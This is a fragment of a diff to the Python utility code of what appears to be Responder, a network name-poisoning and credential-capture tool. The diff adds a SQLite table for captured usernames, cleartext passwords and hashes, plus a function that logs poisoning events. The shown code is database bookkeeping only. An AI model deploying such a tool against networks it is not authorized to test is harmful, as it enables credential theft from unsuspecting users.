+		cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
 		cursor.commit()
 		cursor.close()
 
+def SaveToDb(result):
+
 	for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
 		if not k in result:
 			result[k] = ''
@@ -211,6 +225,23 @@ def SaveToDb(result):
 		cursor.commit()
 	cursor.close()
 
+def SavePoisonersToDb(result):
+
+	for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
+		if not k in result:
+			result[k] = ''
+
+	cursor = sqlite3.connect(settings.Config.DatabaseFile)
+	cursor.text_factory = sqlite3.Binary  # We add a text factory to support different charsets
+	res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
+	(count,) = res.fetchone()
+        
+	if not count:
+		cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
+		cursor.commit()
+
+	cursor.close()
+
 
 def Parse_IPV6_Addr(data):
 	if data[len(data)-4:len(data)][1] =="\x1c":